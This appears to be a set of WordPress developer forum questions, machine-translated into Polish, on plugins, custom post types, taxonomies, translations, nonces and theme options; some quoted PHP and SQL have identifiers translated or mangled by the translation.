text: Piszę wtyczkę do zarządzania wyświetlaniem niektórych zasobów dostępnych za pośrednictwem interfejsu API REST. Ustawiłem kilka reguł przepisywania, aby uzyskać prawidłowe parametry do wysłania za pośrednictwem interfejsu API, a także kilka krótkich kodów, które pobierają dane i wyświetlają widoki. Ale czuję, że to nie jest dobry sposób na zrobienie tego. Na przykład mam tę regułę przepisywania: /object/param1/param2/param3 A shortcode na tej stronie używa `param1`, `param2` i `param3` do wywołania określonego punktu końcowego i zbudowania strony. Co myślisz o tym podejściu? Czy można to w jakiś sposób poprawić? Dziękuję za twoje wkłady. ## Aktualizacja (po sugestii TheDeadMedic) W szczególności, na przykład, czułem, że coś jest nie tak, kiedy musiałem stworzyć dynamiczny tytuł dla każdego obiektu. Tytuł w WordPressie jest budowany przed przetworzeniem treści (w moim przypadku przed wywołaniem przez krótki kod do API). Więc dodałem filtr do `request`, aby przeanalizować żądanie, wysłać żądanie do API, zapisać je gdzieś i przekazać do shortcode. Na początek chciałbym w jakiś sposób usprawnić ten proces.


title: Wyświetlanie niestandardowych typów postów w div Fancybox, a następnie linkowanie do nich

text: Jak mam się do tego zabrać… Mam stronę portfolio, utworzoną przy użyciu niestandardowych typów postów, a na stronie portfolio mam kilka miniatur, które chciałbym połączyć z każdym dodanym przeze mnie projektem za pomocą niestandardowego typu post-type. Mam nadzieję, że ta część ma sens? Tam, gdzie staje się to trudne, chcę, aby każda z tych miniatur korzystała z wtyczki Fancybox, aby po kliknięciu przez użytkownika miniatury wywołał kontener div z całą zawartością z postu tego konkretnego projektu. Zgubiłeś mnie jeszcze? Trochę trudno to wytłumaczyć, ale miejmy nadzieję, że ktoś będzie wiedział, o co mi chodzi, i zasugeruje, jak sprytnie sprawić, by strona pochwyciła całą treść w poście tej miniatury i wyświetliła ją z „wyskakującym” Fancybox. Powodem tego jest to, że mam wiele projektów, które chcę wyświetlić, a gdybym miał mieć plik zawierający wyskakujące div z zawartością dla każdego projektu, plik byłby ogromny! I po prostu nie sądzę, że to świetny sposób na zarządzanie rzeczami. Dzięki, Ash


title: Jak przekonwertować wtyczkę na funkcję

text: Jak przekonwertować wtyczkę na funkcję, zwłaszcza gdy wtyczka jest tak mała, że zawiera tylko jeden plik?


title: Jak mogę przenieść obserwujących z Wordpress.com do samoobsługowego Wordpressa?

text: Ostatnio przeprowadziłem migrację domeny z domeny wordpress.com do rozwiązania z własnym hostingiem. Główną skargą była utrata obserwujących zdobytych przez Wordpress ( http://marygoround.me/2012/02/18/to-all-my-current-wordpress-followers/ ) Nie widzę żadnych wtyczek wydanych przez Automattic aby umożliwić podobne funkcje do treści „Subskrybuj” i „Lubię to” na blogach prowadzonych na własnym serwerze, aby coraz bardziej przypominać zamknięty ogród. Co mogę zrobić, aby zapewnić zachowanie tych odbiorców po migracji?


title: Multisite wp-signup.php - wpisz tylko nazwę użytkownika i adres e-mail, a następnie automatycznie utwórz nowy blog z losową nazwą

text: Próbuję zmienić sposób tworzenia nowych blogów w mojej instalacji wielostanowiskowej - chciałbym, aby użytkownik mógł wpisać tylko nazwę użytkownika i adres e-mail, a po naciśnięciu przycisku "Wyślij" automatycznie utworzyć nową witrynę z losową nazwą. Myślę, że będzie to wymagało edycji funkcji `validate_blog_signup()` w wp-signup.php. Czy ktoś mógłby podać jakieś wskazówki, jakie powinny być zmiany?


title: Problem z wtyczką Buddy Blog

text: Używam wtyczki bloga Buddy dla użytkowników, aby umożliwić publikowanie treści z http://buddydev.com/buddypress/introducing-buddyblog-allow-users-to-blog-from-ich-buddypress-profile/ Została pomyślnie zainstalowana. Ta wtyczka ma funkcję przesyłania. Przesłałem plik obrazu i dokumentu. Komunikat alertu wyświetlał „prześlij pomyślnie”. Ale nie mogę wyświetlić obrazu i dokumentu. Treść bloga wyświetlana poprawnie. Każdy może mi pomóc lub zaproponować inną wtyczkę.


title: Czy zarejestrowanie taksonomii bez użycia jakichkolwiek haczyków jest bezpieczne?

text:
Tworzę witrynę Wordpress, w której chciałem użyć niestandardowej taksonomii w moich opcjach motywu, które zarejestrowałem za pomocą haka 'init'. Problem polegał jednak na tym, że hooki 'init' są uruchamiane po opcjach motywu (ja używam wtyczki Redux Framework dla opcji motywu). Kiedy więc użyłem funkcji get_categories() w opcjach motywu i próbowałem uzyskać niestandardową taksonomię, otrzymywałem błąd „invalid_category”. Postanowiłem więc po prostu zarejestrować taksonomię bez żadnych haczyków i po prostu wywołać funkcję register_taxonomy() w pliku functions.php i zadziałało. Chcę tylko wiedzieć, czy jest to „bezpieczne”, na przykład, jakie byłyby konsekwencje, gdybym po prostu wywołał funkcję register_taxonomy bez użycia żadnych zaczepów. Oto kod, który nie działa podczas korzystania z haka init: function my_function(){ register_taxonomy( 'portfolio_category', 'portfolio', array( 'labels' => array( 'name' => _x( 'Kategorie portfela) ', 'nazwa ogólna taksonomii' ), 'singular_name' => _x( 'Kategoria portfela', 'nazwa pojedyncza taksonomii' ), 'search_items' => __( 'Wyszukaj kategorie portfela' ), 'all_items' => __( ' Wszystkie kategorie portfela' ), 'parent_item' => __( 'Rodzinna kategoria portfela' ), 'parent_item_colon' => __( 'Rodzic kategoria portfela:' ), 'edit_item' => __( 'Edytuj kategorię portfela'), ' update_item' => __( 'Aktualizuj kategorię portfela' ), 'add_new_item' => __( 'Dodaj nową kategorię portfela' ), 'new_item_name' => __( 'Nowa kategoria portfela' ), 'menu_name' => __( 'Kategorie portfela' ), ), 'hierarchical' => true , ) ); } add_action('init', 'my_function'); $portfolio_categories = get_categories(array('taxonomy' => 'portfolio_category', 'hide_empty'=> 0)); echo "
", print_r($portfolio_categories), "
"; // To zwróci błąd 'invalid_taxonomy' A oto taki, który działa (bez użycia żadnych hooków): register_taxonomy( 'portfolio_category', 'portfolio', array( 'labels' => array( 'name' => _x ( 'Kategorie portfela', 'Ogólna nazwa taksonomii' ), 'singular_name' => _x( 'Kategoria portfela', 'Pojedyncza nazwa taksonomii' ), 'search_items' => __( 'Wyszukaj kategorie portfela' ), 'all_items' = > __( 'Wszystkie kategorie portfela' ), 'parent_item' => __( 'Rodzinna kategoria portfela' ), 'parent_item_colon' => __( 'Rodzic kategoria portfela:' ), 'edit_item' => __( 'Edytuj kategorię portfela ' ), 'update_item' => __( 'Aktualizuj kategorię portfela' ), 'add_new_item' => __( 'Dodaj nową kategorię portfela' ), 'new_item_name' => __( 'Nowa kategoria portfela' ), 'menu_name' => __( 'Kategorie portfela' ), ), 'hierarchical' => true , ) ); $portfolio_categories = get_categories(array('taxonomy' => 'portfolio_category', 'hide_empty'=> 0)); echo "
", print_r($portfolio_categories), "
"; Również pierwszy kod działa, jeśli umieszczę go w szablonie strony, więc wiem, że robię to poprawnie. Daj mi znać o tym Dzięki.


title: wp_mail działa z add_action('save_post', ...), ale nie z akcją ajax

text: Mam dwie akcje. Jedna jest po zapisaniu postu, więc `add_action('save_post', 'on_any_post');` Mam drugą akcję wyzwalaną przez AJAX, więc add_action('wp_ajax_nopriv_saveTaskPriority', 'saveTaskPriority'); add_action( 'wp_ajax_saveTaskPriority', 'saveTaskPriority' ); W obu `on_any_post` i `saveTaskPriority` mam następujący kod: $to = array('foo@bar.com'); $temat = 'foo'; $ciało = 'bar'; wp_mail($do, $temat, $ciało); Jedyna różnica polega na tym, że w funkcji ajax mam `die('hi');` na końcu. **WIEM**, że wywoływana jest metoda ajax, ponieważ zwracam dane i `console.log` je przeliczam. (Oznacza to, że widzę 'hi' w odpowiedzi POST w narzędziach programistycznych chrome) Otrzymuję e-mail z akcji `save_post`, ale nie z akcji ajax. Co daje? **EDYTUJ** : Jeśli użyję bezpośrednio `mail()` w funkcji ajax, to działa.


title: Kiedy używać esc_url, esc_html, esc_attr i friends?

text: Odkryto dzisiaj `esc_url` podczas dostosowywania motywu _s. Rozumiem, co robi funkcja (czyści adres URL w środku), ale nie jestem pewien, jaki jest zakres jej użycia. Ma dla mnie sens, że jeśli zaakceptuję wejście URL od użytkownika, użyję tego. Ale kiedy patrzyłem na funkcję, która wyświetlała meta informacje wpisu (zobacz tutaj... w tej chwili wiersz 129), użyła ona `esc_url`, co nie ma dla mnie sensu. Jeśli pracuję nad motywem, czy muszę używać znaczenia DOWOLNEGO adresu URL, który umieściłem w plikach szablonów?


title: Niestandardowy rozmiar obrazu nie działa

text: Opracowuję własny motyw. Próbuję usunąć domyślne rozmiary obrazów WordPress: średnie, duże i pełne. Chcę również mieć własny rozmiar obrazu, `vividflow-full-szerokość`. Korzystam z tego samouczka Sumtips. W `after_setup_theme` jest to runt: add_image_size( 'vividflow-full-width', 682, 9999, true ); A przy haczyku akcji `image_size_names_choose`: unset( $sizes['medium']); unset( $rozmiary['duży']); unset( $rozmiary['pełne'] ); $myimgsizes = array( "vividflow-full-width" => __( "Pełna szerokość" ) ); return array_merge($rozmiary, $myimgrozmiary); Jednak na ekranie wstawiania multimediów widzę tylko opcję wstawienia miniatury. Co się dzieje? Jestem pewien, że funkcje, w których znajdują się oba kody, są uruchomione. Nie widzę żadnych błędów w moim dzienniku błędów, ani nie otrzymuję żadnych powiadomień podczas ustawiania `WP_DEBUG`.


title: Jak najlepiej zaprezentować opcje dla strony głównej w adminie?

text: Mam witrynę z niestandardową stroną główną, home.php. Jaki jest właściwy sposób prezentowania opcji edytowalnej strony głównej w narzędziu administracyjnym? Na przykład na stronie głównej znajduje się kilka niestandardowych pól tekstowych, które można edytować w narzędziu administracyjnym. Szukam najlepszego sposobu, aby to skonfigurować, aby administrator mógł zmienić te opcje. **AKTUALIZACJA:** wyobraź sobie witrynę ze stroną główną z informacją promocyjną (ciągiem tekstowym), którą potrzebuję, aby umożliwić administratorom (osoby nie związane z technologią) łatwą aktualizację. Próbuję wymyślić, jak wyświetlić w adminie ekran z napisem „Jaki tekst promocyjny chcesz umieścić na stronie głównej? [ ** ___ __ ___ __ ___ __ ___ ____**]”? Myślałem o zrobieniu tego za pomocą widżetu, ale ta trasa jest niezgrabna i wymaga ode mnie stworzenia specjalnego paska bocznego tylko do przechowywania pojedynczego widżetu. Jak najlepiej do tego podejść?


title: Ładowanie domeny tekstowej wtyczki przed zarejestrowaniem typu postu

text: Tworzę wtyczkę wordpress, która zarejestruje typ posta. Próbuję skonfigurować prosty przypadek testowy, w którym wszystko, co robi, to rejestrowanie typu posta za pomocą funkcji get text i tłumaczenie go za pomocą poedit. Pomyślnie utworzyłem pliki .po i .mo i załadowałem je następującym kodem: add_action('init', 'client_functions_textdomain'); function client_functions_textdomain(){ load_plugin_textdomain( 'funkcje-klienta', false, dirname( plugin_basename( __FILE__) ) . '/języki/' ); } Jeśli przetestuję wywołanie gettext zaraz po załadowaniu tego, wszystko będzie dobrze się tłumaczyć. A load_plugin_textdomain() zwraca prawdę. Ale kiedy później spróbuję zarejestrować typ posta z następującym kodem (zaczerpniętym z kodeksu), to nie jest tłumaczone: add_action( 'init', 'codex_book_init' ); /** * Zarejestruj typ publikacji książki. * * @link http://codex.wordpress.org/Function_Reference/register_post_type */ function codex_book_init() { $labels = array( 'name' => _x( 'Książki', 'nazwa ogólna typu posta', 'klient- funkcje' ), 'singular_name' => _x( 'Książka', 'Wpisz osobną nazwę', 'funkcje-klienta' ), 'menu_name' => _x( 'Książki', 'menu administratora', 'funkcje-klienta' ), 'name_admin_bar' => _x( 'Książka', 'dodaj nową na pasku administracyjnym', 'funkcje-klienta' ), 'add_new' => _x( 'Dodaj nowy', 'książka', 'funkcje-klienta' ) , 'add_new_item' => __( 'Dodaj nową książkę', 'funkcje-klienta' ), 'new_item' => __( 'Nowa książka', 'funkcje-klienta' ), 'edit_item' => __( 'Edytuj książkę ', 'client-functions' ), 'view_item' => __( 'View Book', 'client-functions' ), 'all_items' => __( 'All Books', 'client-functions' ), 'search_ite ms' => __( 'Przeszukaj książki', 'funkcje-klienta' ), 'parent_item_colon' => __( 'Książki nadrzędne:', 'funkcje-klienta' ), 'not_found' => __( 'Nie znaleziono książek. ', 'client-functions' ), 'not_found_in_trash' => __( 'W Koszu nie znaleziono książek.', 'client-functions' ) ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_menu' => true, 'query_var' => true, 'rewrite ' => array( 'slug' => _x( 'book', 'URL slug', 'client-functions' ) ), 'capability_type' => 'post', 'has_archive' => true, 'hierarchical' => false, 'menu_position' => null, 'supports' => array( 'tytuł', 'redaktor', 'autor', 'miniaturka', 'fragment', 'komentarze') ); register_post_type( 'książka', $args ); } Podejrzewam, że ma to związek z faktem, że oba są podpięte do akcji 'init', a rejestracja odbywa się przed załadowaniem domeny tekstowej? Próbowałem następujących rzeczy bez powodzenia: * dodałem priorytet 0 do akcji textdoamin i priorytet 20 do funkcji book_init * załadowałem domenę tekstową w akcji 'plugins_loaded' Każda pomoc byłaby bardzo mile widziana! Dzięki Malthe


title: Używasz różnych taksonomii w permalinkach różnych niestandardowych typów postów?

text: Czy istnieje sposób na dodanie %post_type% i %taxonomy% do permalinków? Chcę, aby linki z jednego niestandardowego typu postu zawierały terminy z jednej taksonomii w swoim permalinku, a inny typ posta używał terminów z innej taksonomii.


title: Rozwijane listy nawigacyjne w Wordpress?

text: Próbuję uprościć zestaw linków, umieszczając je na liście rozwijanej (styl formularza) z przyciskiem przesyłania, który przeniesie użytkowników na daną stronę. Idealnie chciałbym, aby zachowywał się jak listy rozwijane w RedBubble, gdzie każdy wybór jest również powiązany z innym obrazem. Jako nowicjusz w WordPressie i ogólnie w tworzeniu stron internetowych, podejrzewam, że może to być bardziej ogólne pytanie dotyczące kodowania niż specyficzne dla Wordpressa, ale mam nadzieję, że może jest wtyczka, która mogłaby w tym pomóc. Jeśli jednak rozwiązanie jest oparte na css lub javascript, z przyjemnością spróbuję.


title: Przesyłanie multimediów nie działa w opcji motywu w WordPress 3.8.1

text: Mam ten kod jQuery we wtyczce, aby wyświetlić okno mediów, najlepiej w celu załadowania obrazu lub pobrania obrazu z galerii mediów: (function($){ jQuery(document).ready(function() { $('#upload_image_button ').click(function(e) { e.preventDefault(); //Jeśli obiekt uploader został już utworzony, otwórz ponownie okno dialogowe if (custom_uploader) { custom_uploader.open(); return; } //Rozszerz wp. obiekt multimedialny custom_uploader = wp.media.frames.file_frame = wp.media({ title: 'Wybierz obraz', button: { text: 'Wybierz obraz' }, multiple: false }); //Kiedy plik jest zaznaczony, chwyć adres URL i ustaw go jako wartość pola tekstowego custom_uploader.on('select', function() { attachment = custom_uploader.state().get('selection').first().toJSON(); $('#upload_image ').val(załącznik.url) ; }); //Otwórz okno dialogowe przesyłania custom_uploader.open(); }); }); })(jQuery); i są następujące elementy w mojej opcji wtyczki, która wiąże się z tym kodem jQuery: <input class="nput" id="upload_image" type="text" name="the_box[authorpic]" value="<?php echo $ options['authorpic']; ?>" /> <input class="button-primary" id="upload_image_button" type="button" value="Wybierz z galerii" /> ale teraz to nie działa, mam na myśli nic się nie dzieje, gdy kliknę lub nacisnę przycisk teraz, ponieważ powinno wyświetlić się pole multimediów tak jak poprzednio (używam teraz WordPress 3.8.1) i jestem pewien, że ładuję skrypty jQuery (testowałem to). Co może sprawić, że to już nie będzie działać? Wszelkie pomysły, rekomendacje i sugestie będą mile widziane. Z góry dziękuję.


title: Zaawansowane pola niestandardowe

text: Używam wtyczki Zaawansowane pola niestandardowe, aby dodać opcję przesyłania obrazu do strony, ale zastanawiam się, czy jest na to sposób, gdy wyprowadzam go do motywu za pomocą `<img src="<?php the_field(' add_image'); ?>"/>` nie jest w pełnym rozmiarze, jest przycięty lub ustawiony na jeden z wstępnie ustawionych rozmiarów nośników Wordpress. W tej chwili wyświetla obraz w pełnym rozmiarze, więc jeśli nie nauczę mojego użytkownika przycinania i zmiany rozmiaru obrazów, wydaje się, że to nie działa. Z góry dziękuję.


title: Jak zdefiniować WP_DEBUG jako true poza wp-config.php?

text: Próbuję stworzyć tryb debugowania w jednej z moich wtyczek, aby użytkownicy mogli łatwo włączyć WP_DEBUG samodzielnie i mam nadzieję, że zgłoszą się do nas z pomocnymi komunikatami o błędach. W tej chwili prosimy ich o zmodyfikowanie ich wp-config.php, ale to wykracza poza możliwości niektórych użytkowników. Miałem nadzieję, że po prostu dodaję `define('WP_DEBUG', true);`w naszej wtyczce, jeśli użytkownik zaznaczył tę opcję, ale wygląda na to, że możesz włączyć WP_DEBUG tylko z pliku wp-config.php. Czy ktoś zna jakiś sposób na włączenie WP_DEBUG z dowolnego miejsca poza wp-config? A może jest inna przydatna funkcja WP, której mógłbym użyć zamiast tego? Dzięki, Dalton


title: wp usuń zapytanie

text: chcę usunąć pewne zapytanie w wp 3.1 add_filter ('zapytanie', 'remove_delete_7_day_draft_queries'); funkcja remove_delete_7_day_draft_queries ($zapytanie) { global $wpdb; $q = "SELECT ID FROM $wpdb->posts WHERE post_status = 'auto-draft' AND DATE_SUB(NOW(), INTERVAL 7 DAY) > post_date"; if ( $q == $zapytanie) { return false; } return $zapytanie; } ale w dzienniku błędów widzę coś takiego: Błąd bazy danych WordPress Zapytanie było puste dla zapytania wykonanego przez get_default_post_to_edit jakiś pomysł jak usunąć wykonanie zapytania bez żadnego błędu ? tx


title: Funkcja komentarzy w wątkach nie działa

text: Jeśli czytelnik opublikuje komentarz na moim blogu, mogę na niego odpowiedzieć. Ale odpowiedź nie pojawia się na stronie posta, nawet po zatwierdzeniu komentarza. Liczba komentarzy do tego konkretnego posta wynosi 3, tj. 2 od Czytelników + 1 moja(odpowiedź). Oto przykład: http://www.gadgetcage.com/most-expensive-computers-in-the-world/16264/comment-page-1/#comment-65580 . Uwaga: mam włączone komentarze w wątkach. Proszę pomóż mi.


title: Filtr WP_Query i kolejność według kolejności meta według źle połączonej tabeli

text: Próbuję zarówno filtrować, jak i porządkować zapytanie Wordpress przy użyciu meta_value, jednak część zapytania „ORDER BY” wydaje się działać na niewłaściwej tabeli. Oto parametry zapytania: array(12) { ["post_type"]=>"op-events" ["paged"]=>1 ["meta_query"]=> array(2) { ["relacja"]=> "LUB" [0]=> array(4) { ["klucz"]=>"_simple_fields_fieldGroupID_9_fieldID_1_numInSet_0" ["wartość"]=>"2012-03-28" ["porównaj"]=>">" ["typ "]=>"DATE" } } ["meta_key"]=>"_simple_fields_fieldGroupID_9_fieldID_1_numInSet_0" ["orderby"]=>"meta_value" ["order"]=>"ASC" } Pomysł polega na filtrowaniu według dat po dniu dzisiejszym, następnie uporządkuj posty w porządku rosnącym według daty. Zwykle mogę uciekać się do ręcznego tworzenia tego zapytania, ale zobaczysz meta_klucz „_simple_fields”, ponieważ pola są tworzone przez wtyczkę Simple Fields i dlatego nie wiem, jakie będą ich klucze. Wygenerowane zapytanie wynikowe to: SELECT SQL_CALC_FOUND_ROWS wp_posts.* FROM wp_posts INNER JOIN wp_postmeta ON (wp_posts.ID = wp_postmeta.post_id) INNER JOIN wp_postmeta AS mt1 ON (wp_posts.ID = mttypeEpostmeta = 1_id) 'op-events' ORAZ ( wp_posts.post_status = 'opublikuj' LUB wp_posts.post_status = 'prywatny' ) AND ( wp_postmeta.meta_key = '_simple_fields_fieldGroupID_9_fieldID_1_numInSet_0' LUB ( mt1.meta_identyfikator_pola_wartości_klucza_C1.) > '2012-03-28' ) ) GROUP BY wp_posts.ID ORDER BY wp_postmeta.meta_value LIMIT ASC 0, 10 Z jakiegoś powodu to zapytanie nie zwraca wierszy we właściwej kolejności, jedyne, co przychodzi mi do głowy, to to, że Linia `ORDER BY wp_postmeta.meta_value ASC` powinna być porządkowana według my1.meta_value. Czy ktoś może rzucić jakieś światło na ten temat?


title: Polecany obraz nie wyświetla się na wordpress hostowanym w Amazon AWS

text: Stworzyłem stronę wordpress na Amazon AWS. Zainstalowałem również ten sam motyw na wordpressie hostowanym pod Bluehost. Problem z wordpressem hostowanym pod amazon polega na tym, że nie pokazuje polecanych obrazów. strona testowa serwera amazon znajduje się pod adresem another.datingat.ph ~ Udało mi się upublicznić wiadro s3, ale nadal nie wyświetla on polecanych obrazów. Niezależnie od użytego motywu, który obsługuje polecany obraz, wyróżniony obraz nie zostanie wyświetlony. Wtyczki działają, ale nie mogę kontrolować, czy chcę je wyświetlać w poście. Mój motyw ma już "add_theme_support( 'post-thumbnails' ); // " inne kody, które są połączone z polecanymi obrazami to: > // pobierz polecany obraz do posta if( has_post_thumbnail($postid) ) { > $thumbid = get_post_thumbnail_id($postid); } i > // pobierz wyróżniony obrazek do posta if( has_post_thumbnail($postid) ) { > $thumbid = get_post_thumbnail_id($postid); } Próbowałem też "sudo yum install php53-gd", ale bez zmian. Myślę też, że Apache jest już ustawiony na „AllowOverride All”, chyba że powinienem sprawdzić inny plik przez terminal? Daj mi znać polecenie, które muszę wprowadzić. Nadal jestem w tym nowy i próbowałem go wygooglować, ale nie mogę znaleźć dokładnej odpowiedzi na mój problem. =(


title: Niestandardowe taksonomie typów postów — posty nie są wyświetlane na stronach kategorii lub tagów

text: Utworzyłem niestandardowy typ posta o nazwie „Zasoby członkowskie”. Posty w ramach tego CPT mają kilka taksonomii, takich jak kategorie i tagi. Tagi = „Różnorodność” Kategorie = „Wskazówki” Kiedy wchodzę na następujące adresy URL: www.domain.com/tags/diversity www.domain.com/tags/guidance Nie pojawiają się żadne posty. Chociaż ustawiłem public => true w funkcji CPT. Posty są wyświetlane, jeśli przejdziesz do strony archiwum zasobów członkowskich, więc są wyświetlane, ale nie, gdy filtrujesz je według taksonomii. Każda pomoc byłaby mile widziana! Dziękuję.


title: Wyświetlam kanał RSS przez fetch_feed. Jak wyświetlić tytuł strony kanału?

text: Pytanie jest proste. Czy mogę uzyskać tytuł i główny adres URL witryny, z której ładują się posty? Właściwie chcę połączyć się z główną stroną. Adres URL można znaleźć za pomocą funkcji wordpress esc_url(); funkcja, ale co z tytułem witryny? Strona jest tutaj: http://citystir.com/author/designdons/ Dzięki!


title: Jak mogę połączyć post_row_actions() z niestandardową funkcją akcji?

text: Mam zdefiniowany poniżej niestandardowy typ posta i chcę dodać niestandardową akcję wiersza, aby umożliwić mi „aktualizację” posta za pośrednictwem panelu administracyjnego class LeagueCpt { function __construct() { add_action( 'init', array(&$this, „rejestrLeagueCPT”)); add_filter('post_row_actions', array(&$this,'post_row_actions'), 0, 2); } function registerLeagueCPT() { $leagueLabels = array( 'name' => _x( 'Ligi', 'liga' ), 'singular_name' => _x( 'Liga', 'liga' ), 'add_new' => _x( 'Dodaj nową', 'liga' ), 'add_new_item' => _x( 'Dodaj nową ligę', 'liga' ), 'edit_item' => _x( 'Edytuj ligę', 'liga' ), 'new_item' => _x( 'Nowa liga', 'liga' ), 'view_item' => _x( 'Wyświetl ligę', 'liga' ), 'search_items' => _x( 'Przeszukaj ligi', 'liga' ), 'not_found' = > _x( 'Nie znaleziono ligi', 'liga' ), 'not_found_in_trash' => _x( 'Nie znaleziono lig w Koszu', 'liga' ), 'parent_item_colon' => _x( 'Liga nadrzędna:', 'liga' ), 'menu_name' => _x( 'Ligi', 'Liga' ), ); $leagueArgs = array( 'labels' => $leagueLabels, 'hierarchical' => false, 'description' => 'Szczegóły ligi', 'supports' => array( 'title','editor','excerpt',' thumbnail','custom-fields','page-attributes','comments'), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'show_in_nav_menus' => true, 'publicly_queryable ' => prawda, 'exclude_from_search' => fałsz, 'has_archive' => prawda, 'query_var' => prawda, 'can_export' => prawda, 'rewrite' => prawda, 'capability_type' => 'post' ); register_post_type('liga', $ligaArgs ); } To jest kod, który rejestruje funkcję akcji wiersza post_row_actions($actions, $post) { $actions = array_merge($actions, array( 'update' => sprintf('Aktualizuj', wp_nonce_url(sprintf('edit.php?post_type=league&action=update&post_id=%d',$post->ID), 'abc')) )); return $akcje; } Zdefiniowałem funkcję update() w tym samym pliku php, w którym planuję wykonać prawdziwą pracę function update() { // zrób kilka własnych aktualizacji w treści posta } Mój problem polega na tym, jak mogę się upewnić, że Żądanie adresu URL z akcją aktualizacji wywołuje powyższą funkcję? Użyłem następujących zasobów Niestandardowe akcje wierszy posta http://wordpress.org/support/topic/trying-to-add-custom-post_row_actions-for-custom-post-status Akcje wierszy dla niestandardowych typów postów? http://wordpress.org/support/topic/replacement-for-post_row_actions http://www.ilovecolors.com.ar/saving-custom-fields-quick-bulk-edit-wordpress/


title: echo menu_order wartość w moim motywie

text: Myślałem, że to proste zadanie, ale nie mogę nic znaleźć w google. Chciałbym po prostu powtórzyć wartość meun_order w mojej pętli. Próbowałem tego, ale nie ma go w tabeli post_meta, jest w tabeli postu. <?php echo get_post_meta($post->ID, 'menu_order', true); ?> Czy ktoś może pomóc proszę? Dzięki Josh


title: Awarie pamięci - Potrzebujesz eksperta PHP/WP/IT

text: Ciągle mam awarie pamięci na moim serwerze. Serwer rozwidla się i tworzy nowe połączenia jak szalony. Mam zainstalowany VPS z WHM. Oto odpowiedź mojego hosta: „Wydaje się, że problem polega na tym, że twój serwer stale wykorzystuje swoje zasoby pamięci. Wprowadziliśmy już poprawki do typowych przyczyn, takich jak tworzenie przez serwer dns wątku dla każdego procesora, który widzi w nowym system, ale sugeruję, abyś zastanowił się nad konfiguracją serwera, aby zminimalizować zużycie pamięci.Ustawienie MaxClients twojego serwera Apache również wydaje się być dość wysokie, ale nie było w stanie przeszukać plików konfiguracyjnych, aby zobaczyć, gdzie jest ustawione ”. Wszedłem przez powłokę i poprawiłem plik httpd.conf milion razy, zmieniając Maxclients, MaxRequestsPerChild i MaxKeepAliveRequests wszystko bezskutecznie. Monitoruję za pomocą TOP w WHM i licznika fasoli przez putty (shell) i widzę ZILLION przerwy w pamięci. Nie mam absolutnie ŻADNEGO POJĘCIA, co wysysa całą tę pamięć. Przeszedłem nawet przez blokowanie adresów IP, aby sprawdzić, czy roboty wysysają pamięć, ale albo nie mogłem uzyskać poprawnych informacji, albo to nie jest problem. IT/WP/PHP eprt potrzebne ZŁE Dzięki


title: Wtyczki w katalogach połączonych symbolicznie?

text: Kiedy tworzę wtyczki, testuję je na wielu wersjach WordPressa, dołączając symbolicznie mój katalog wtyczek w różnych katalogach `wp-content`. To jest świetne, ponieważ wystarczy tylko raz edytować pliki, ale łamie to ważną konstrukcję generowania odwołań do zasobów w mojej wtyczce: `__FILE__` odnosi się do fizycznej lokalizacji wtyczki, a nie do `wp-content`. Jak mam to rozwiązać? Moja struktura katalogów wygląda tak: * `/path/to/wordpress/development/dir/` * `plugin-development/` * `monkeyman-rewrite-analyzer/` * `monkeyman-rewrite-analyzer.php` * `js /` * `monkeyman-rewrite-analyzer.js` * `versions/` * `3.1/` * `wp-content/` * `plugins/` * `monkeyman-rewrite-analyzer` jako dowiązanie symboliczne do powyższej wtyczki * `3.1-multi-dir/` * `wp-content/` * `plugins/` * `monkeyman-rewrite-analyzer` jako dowiązanie symboliczne do powyższej wtyczki * `3.1-multi-domain/` * `wp-content/ ` * `plugins/` * `monkeyman-rewrite-analyzer` jako dowiązanie symboliczne do powyższej wtyczki Jeśli chcę umieścić plik JavaScript w kolejce, powinienem użyć `plugins_url( 'monkeyman-rewrite-analyzer.js', [plik podstawowy] )`, ale użycie `__FILE__` tutaj nie zadziała, ponieważ rzeczywista ścieżka do pliku to `/path/to/wordpress/development/dir/plugin-development/monkeyman-rewrite-analizer/monkeyman-rewri te-analyzer.php`, a nie `/path/to/wordpress/development/dir/versions/*/wp-content/plugins/monkeyman-rewrite-analyzer/monkeyman-rewrite-analyzer.php`, więc WordPress nie może usunąć najpierw wyjdź i wygeneruj adres URL związany z instalacją WordPress.


title: wp_verify_nonce vs check_admin_referer

text: Jaka jest różnica, którego powinienem użyć? Wiem, że wp_verify_nonce sprawdza limit czasu, a check_admin_referer myślę, że wywołuje wp_verify_nonce, a także sprawdza segment adresu URL administratora, ale jestem trochę zdezorientowany, którego powinienem użyć i kiedy. Dzięki za jasność.


title: Jak usunąć zduplikowane pola niestandardowe?

text: Przeprowadziłem migrację mojego bloga z blogspota do WordPressa. Potem zauważyłem, że wiele postów zawiera zduplikowane pola niestandardowe. Podobnie jak blogger_author, blogger_permalink, blogger_blog są duplikowane do 5 razy. Jak mogę usunąć zduplikowane pola niestandardowe?


title: Powiadomienia podczas przesyłania niestandardowego typu posta z interfejsu użytkownika

text: Mam formularz w szablonie strony, który pozwala użytkownikom przesyłać posty do niestandardowego typu postu z front-endu: $post = array( 'post_status' => 'draft', 'post_type' => 'stories', 'post_content ' => wp_kses_post( $story_content ), 'post_title' => esc_attr( wp_kses( $story_title, array() ) ), 'post_author' => 4, ); // Wstaw wątek do bazy danych $post_success = wp_insert_post( $post ); Działa, ale otrzymuję te powiadomienia Uwaga PHP: Próbuję pobrać właściwość non-object w /Users/username/Sites/the_site/wp-includes/comment-template.php w wierszu 776 PHP Uwaga: Próbuję uzyskać właściwość non -object w /Users/username/Sites/the_site/wp-includes/comment-template.php w wierszu 793 PHP Uwaga: Próba pobrania właściwości non-object w /Users/username/Sites/the_site/wp-includes/general -template.php w wierszu 1645 PHP Uwaga: Próba pobrania właściwości non-object w /Users/username/Sites/the_site/wp-includes/link-template.php w wierszu 1106 PHP Uwaga: Próba pobrania właściwości non- obiekt w /Users/username/Sites/the_site/wp-includes/link-template.php w wierszu 1148 PHP Uwaga: Próbuję pobrać właściwość non-object w /Users/username/Sites/the_site/wp-includes/link- template.php w wierszu 1106 PHP Uwaga: Próbuję pobrać właściwość non-object w /Users/username/Sites/the_site/wp-includes/link-template.php w wierszu 1148 Zajrzałem do pliku i wydaje się być powiązany z `comment_status` i `ping_status` przesłanego posta, jednak zakładam, że wartości domyślne dla `wp_insert_post` powinny wprowadzać wartości dla tych. Nawet jeśli ustawię je w mojej tablicy args, otrzymuję powiadomienia. Jak to naprawić, aby pozbyć się powiadomień?


title: Utwórz szablon strony, który wyświetla wszystkie posty bieżącego użytkownika

